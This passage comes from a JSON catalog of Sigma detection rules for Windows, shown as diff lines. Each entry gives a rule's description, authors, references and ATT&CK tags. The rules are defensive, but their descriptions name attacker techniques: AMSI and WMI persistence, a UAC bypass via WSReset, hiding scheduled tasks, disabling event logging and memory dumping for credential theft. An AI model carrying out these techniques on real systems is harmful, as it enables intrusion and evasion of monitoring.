}, - { - "description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmi_backdoor_exchange_transport_agent.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/cglyer/status/1182391019633029120", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml", - "https://twitter.com/cglyer/status/1182389676876980224" - ], - "tags": [ - "attack.persistence", - "attack.t1546.003" - ] - }, - "uuid": "797011dc-44f4-4e6f-9f10-a8ceefbe566b", - "value": "WMI Backdoor Exchange Transport Agent" - }, - { - "description": "Detects WMI script event consumers", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2018/03/07", - "falsepositive": [ - "Legitimate event consumers", - "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" - ], - "filename": "proc_creation_win_wmi_persistence_script_event_consumer.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.003" - ] - }, - "uuid": "ec1d5e28-8f3b-4188-a6f8-6e8df81dc28e", - "value": "WMI Persistence - Script Event Consumer" - }, - { - "description": "Detects WMI spawning a PowerShell process", - "meta": { - "author": "Markus Neis / @Karneades", - "creation_date": "2019/04/03", - "falsepositive": [ - "AppvClient", - "CCM" - ], - "filename": "proc_creation_win_wmi_spwns_powershell.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_spwns_powershell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.t1059.001" - ] - }, - "uuid": "692f0bec-83ba-4d04-af7e-e884a96059b6", - "value": "WMI Spawning Windows PowerShell" - }, - { - "description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.", - "meta": { - "author": "Nik Seetharaman, frack113", - "creation_date": "2019/01/16", - "falsepositive": [ - "Legitimate MWC use (unlikely in modern enterprise environments)" - ], - "filename": "proc_creation_win_workflow_compiler.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_workflow_compiler.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1127", - "attack.t1218" - ] - }, - "uuid": "419dbf2b-8a9b-4bea-bf99-7544b050ec8d", - "value": "Microsoft Workflow Compiler" - }, - { - "description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the reference section", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/18", - "falsepositive": [ - "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" - ], - "filename": "proc_creation_win_wpbbin_persistence.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", - "https://persistence-info.github.io/Data/wpbbin.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1542.001" - ] - }, - "uuid": "4abc0ec4-db5a-412f-9632-26659cddf145", - "value": "UEFI Persistence Via Wpbbin - ProcessCreation" - }, - { - "description": "Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.", - "meta": { - "author": "Sreeman", - "creation_date": "2021/06/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_write_protect_for_storage_disabled.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_write_protect_for_storage_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "75f7a0e2-7154-4c4d-9eae-5cdb4e0a5c13", - "value": "Write Protect For Storage Disabled" - }, - { - "description": "Detects the presence of the keywords \"Wscript\", \"Shell\" and \"Run\" in the command, which could indicate a suspicious activity", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/31", - "falsepositive": [ - "Rare legitimate inline scripting by some administrators" - ], - "filename": "proc_creation_win_wscript_shell_cli.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_shell_cli.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "2c28c248-7f50-417a-9186-a85b223010ee", - "value": "Wscript Shell Run In CommandLine" - }, - { - "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument which is not longer supported. This could indicate an attacker using an old technique", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/04", - "falsepositive": [ - "The \"extract\" flag still works on older 'wusa.exe' versions, which could be a legitimate use (monitor the path of the cab being extracted)" - ], - "filename": "proc_creation_win_wusa_susp_cab_extraction.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cab_extraction.yml", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "59b39960-5f9d-4a49-9cef-1e4d2c1d0cb9", - "value": "Wusa Extracting Cab Files" - }, - { - "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml", - "https://www.echotrail.io/insights/search/wusa.exe/", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "c74c0390-3e20-41fd-a69a-128f0275a5ea", - "value": "Wusa Extracting Cab Files From Suspicious Paths" - }, - { - "description": "Detects suspicious use of XORDump process memory dumping utility", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/28", - "falsepositive": [ - "Another tool that uses the command line switches of XORdump" - ], - "filename": "proc_creation_win_xordump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xordump.yml", - "https://github.com/audibleblink/xordump" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "uuid": "66e563f9-1cbd-4a22-a957-d8b7c0f44372", - "value": "XORDump Use" - }, - { - "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", - "Msxsl.exe is not installed by default, so unlikely.", - "Static format arguments - https://petri.com/command-line-wmi-part-3" - ], - "filename": "proc_creation_win_xsl_script_processing.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xsl_script_processing.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1220" - ] - }, - "uuid": "05c36dd6-79d6-4a9a-97da-3db20298ab2d", - "value": "XSL Script Processing" - }, - { - "description": "Raw disk access using illegitimate tools, possible defence evasion", - "meta": { - "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Legitimate Administrator using tool for raw access or ongoing forensic investigation" - ], - "filename": "raw_access_thread_disk_access_using_illegitimate_tools.yml", - "level": "low", - "logsource.category": "raw_access_thread", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_disk_access_using_illegitimate_tools.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1006" - ] - }, - "uuid": "db809f10-56ce-4420-8c86-d6a7d793c79c", - "value": "Raw Disk Access Using Illegitimate Tools" - }, - { - "description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Legitimate security products adding their own AMSI providers" - ], - "filename": "registry_add_amsi_providers_persistence.yml", - "level": "high", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://persistence-info.github.io/Data/amsi.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_amsi_providers_persistence.yml", - "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f705", - "value": "Persistence Via New AMSI Providers" - }, - { - "description": "Detects creation of UserInitMprLogonScript persistence method", - "meta": { - "author": "Tom Ueltschi (@c_APT_ure)", - "creation_date": "2019/01/12", - "falsepositive": [ - "Exclude legitimate logon scripts" - ], - "filename": "registry_add_logon_scripts_userinitmprlogonscript_reg.yml", - "level": "high", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://attack.mitre.org/techniques/T1037/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_logon_scripts_userinitmprlogonscript_reg.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md" - ], - "tags": [ - "attack.t1037.001", - "attack.persistence", - "attack.lateral_movement" - ] - }, - "uuid": "9ace0707-b560-49b8-b6ca-5148b42f39fb", - "value": "Logon Scripts Creation in UserInitMprLogonScript Registry" - }, - { - "description": "Attempts to detect registry events for common NetWire key HKCU\\Software\\NetWire", - "meta": { - "author": "Christopher Peacock", - "creation_date": "2021/10/07", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_add_mal_netwire.yml", - "level": "high", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_netwire.yml", - "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "1d218616-71b0-4c40-855b-9dbe75510f7f", - "value": "NetWire RAT Registry Key" - }, - { - "description": "Detects new registry key created by Ursnif malware.", - "meta": { - "author": "megan201296", - "creation_date": "2019/02/13", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_add_mal_ursnif.yml", - "level": "high", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_ursnif.yml", - "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/" - ], - "tags": [ - "attack.execution", - "attack.t1112" - ] - }, - "uuid": "21f17060-b282-4249-ade0-589ea3591558", - "value": "Ursnif" - }, - { - "description": "Detects COM object hijacking via TreatAs subkey", - "meta": { - "author": "Kutepov Anton, oscd.community", - "creation_date": "2019/10/23", - "falsepositive": [ - "Maybe some system utilities in rare cases use linking keys for backward compatibility" - ], - "filename": "registry_add_persistence_key_linking.yml", - "level": "medium", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_key_linking.yml", - "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ] - }, - "uuid": "9b0f8a61-91b2-464f-aceb-0527e0a45020", - "value": "Windows Registry Persistence COM Key Linking" - }, - { - "description": "Detects the of the \"accepteula\" key related to sysinternals tools being created from non sysinternals tools", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/24", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_add_renamed_sysinternals_eula_accepted.yml", - "level": "high", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_renamed_sysinternals_eula_accepted.yml", - "Internal Research" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ] - }, - "uuid": "f50f3c09-557d-492d-81db-9064a8d4e211", - "value": "Usage of Renamed Sysinternals Tools" - }, - { - "description": "Detects the usage of Suspicious Sysinternals Tools such as PsExec, Procdump...etc via the \"accepteula\" key being added to Registry", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/24", - "falsepositive": [ - "Legitimate use of SysInternals tools" - ], - "filename": "registry_add_susp_sysinternals_eula_accepted.yml", - "level": "medium", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/Moti_B/status/1008587936735035392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_susp_sysinternals_eula_accepted.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ] - }, - "uuid": "c7da8edc-49ae-45a2-9e61-9fd860e4e73d", - "value": "Usage of Suspicious Sysinternals Tools" - }, - { - "description": "Detects the usage of Sysinternals Tools due to accepteula key being added to Registry", - "meta": { - "author": "Markus Neis", - "creation_date": "2017/08/28", - "falsepositive": [ - "Legitimate use of SysInternals tools", - "Programs that use the same Registry Key" - ], - "filename": "registry_add_sysinternals_eula_accepted.yml", - "level": "low", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_eula_accepted.yml", - "https://twitter.com/Moti_B/status/1008587936735035392" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ] - }, - "uuid": "25ffa65d-76d8-4da5-a832-3f2b0136e133", - "value": "Usage of Sysinternals Tools" - }, - { - "description": "A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_add_sysinternals_sdelete_registry_keys.yml", - "level": "medium", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_sdelete_registry_keys.yml", - "https://github.com/OTRF/detection-hackathon-apt29/issues/9", - "https://threathunterplaybook.com/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "9841b233-8df8-4ad7-9133-b0b4402a9014", - "value": "Sysinternals SDelete Registry Keys" - }, - { - "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box […]\nThe user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Legitimate new entry added by windows" - ], - "filename": "registry_set_disk_cleanup_handler_new_entry_persistence.yml", - "level": "medium", - "logsource.category": "registry_add", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_set_disk_cleanup_handler_new_entry_persistence.yml", - "https://persistence-info.github.io/Data/diskcleanuphandler.html", - "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "d4f4e0be-cf12-439f-9e25-4e2cdcf7df5a", - "value": "Persistence Via Disk Cleanup Handler - NewEntry" - }, - { - "description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. Which could indicate an attacker trying to launch an encryption process", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/05", - "falsepositive": [ - "Legitimate administrators removing applications (should always be monitored)" - ], - "filename": "registry_delete_exploit_guard_protected_folders.yml", - "level": "high", - "logsource.category": "registry_delete", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml", - "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "272e55a4-9e6b-4211-acb6-78f51f0b1b40", - "value": "Removal Of Folder From ProtectedFolders In Exploit Guard" - }, - { - "description": "Detects the deletion of registry keys containing the MSTSC connection history", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/10/19", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_delete_mstsc_history_cleared.yml", - "level": "high", - "logsource.category": "registry_delete", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer", - "http://woshub.com/how-to-clear-rdp-connections-history/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1112" - ] - }, - "uuid": "07bdd2f5-9c58-4f38-aec8-e101bb79ef8d", - "value": "Terminal Server Client Connection History Cleared" - }, - { - "description": "Remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection", - "meta": { - "author": "frack113", - "creation_date": "2021/06/07", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_delete_removal_amsi_registry_key.yml", - "level": "high", - "logsource.category": "registry_delete", - "logsource.product": "windows", - "refs": [ - "https://seclists.org/fulldisclosure/2020/Mar/45", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "41d1058a-aea7-4952-9293-29eaaf516465", - "value": "Removal Of Amsi Provider Reg Key" - }, - { - "description": "A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered" - ], - "filename": "registry_delete_removal_com_hijacking_registry_key.yml", - "level": "medium", - "logsource.category": "registry_delete", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", - "https://github.com/OTRF/detection-hackathon-apt29/issues/7", - "https://threathunterplaybook.com/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml", - "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", - "https://docs.microsoft.com/en-us/windows/win32/shell/launch" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "96f697b0-b499-4e5d-9908-a67bec11cdb6", - "value": "Removal of Potential COM Hijacking Registry Keys" - }, - { - "description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/26", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_delete_removal_index_value_scheduled_task_hide.yml", - "level": "medium", - "logsource.category": "registry_delete", - "logsource.product": "windows", - "refs": [ - "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_index_value_scheduled_task_hide.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "526cc8bc-1cdc-48ad-8b26-f19bff969cec", - "value": "Removal Of Index Value to Hide Schedule Task" - }, - { - "description": "Remove SD (Security Descriptor) value in \\Schedule\\TaskCache\\Tree registry hive to hide schedule task. This technique is used by Tarrask malware", - "meta": { - "author": "Sittikorn S", - "creation_date": "2022/04/15", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_delete_removal_sd_value_scheduled_task_hide.yml", - "level": "medium", - "logsource.category": "registry_delete", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_sd_value_scheduled_task_hide.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "acd74772-5f88-45c7-956b-6a7b36c294d2", - "value": "Removal Of SD Value to Hide Schedule Task" - }, - { - "description": "Sysmon registry detection of a local hidden user account.", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/05/03", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_add_local_hidden_user.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml", - "https://twitter.com/SBousseaden/status/1387530414185664538" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ] - }, - "uuid": "460479f3-80b7-42da-9c43-2cc1d54dbccd", - "value": "Creation of a Local Hidden User Account by Registry" - }, - { - "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", - "meta": { - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2018/03/23", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_apt_chafer_mar18.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_chafer_mar18.yml", - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "7bdf2a7c-3acc-4091-9581-0a77dad1c5b5", - "value": "Chafer Activity" - }, - { - "description": "Detects registry key used by Leviathan APT in Malaysian focused campaign", - "meta": { - "author": "Aidan Bracher", - "creation_date": "2020/07/07", - "falsepositive": "No established falsepositives", - "filename": "registry_event_apt_leviathan.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_leviathan.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "70d43542-cd2d-483c-8f30-f16b436fd7db", - "value": "Leviathan Registry Key Activity" - }, - { - "description": "Detects registry keys created in OceanLotus (also known as APT32) attacks", - "meta": { - "author": "megan201296, Jonhnathan Ribeiro", - "creation_date": "2019/04/14", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_apt_oceanlotus_registry.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml", - "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", - "https://github.com/eset/malware-ioc/tree/master/oceanlotus" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "4ac5fc44-a601-4c06-955b-309df8c4e9d4", - "value": "OceanLotus Registry Activity" - }, - { - "description": "Detects Pandemic Windows Implant", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/06/01", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_apt_pandemic.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://wikileaks.org/vault7/#Pandemic", - "https://twitter.com/MalwareJake/status/870349480356454401", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1105" - ] - }, - "uuid": "47e0852a-cf81-4494-a8e6-31864f8c86ed", - "value": "Pandemic Registry Key" - }, - { - "description": "Unfixed method for UAC bypass from windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.", - "meta": { - "author": "oscd.community, Dmitry Uchakin", - "creation_date": "2020/10/07", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_bypass_via_wsreset.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Wsreset" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "6ea3bf32-9680-422d-9f50-e90716b12a66", - "value": "UAC Bypass Via Wsreset" - }, - { - "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", - "meta": { - "author": "Nik Seetharaman", - "creation_date": "2018/07/16", - "falsepositive": [ - "Legitimate CMSTP use (unlikely in modern enterprise environments)" - ], - "filename": "registry_event_cmstp_execution_by_registry.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.003", - "attack.g0069", - "car.2019-04-001" - ] - }, - "uuid": "b6d235fc-1d38-4b12-adbe-325f06728f37", - "value": "CMSTP Execution Registry Event" - }, - { - "description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.", - "meta": { - "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_disable_security_events_logging_adding_reg_key_minint.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": 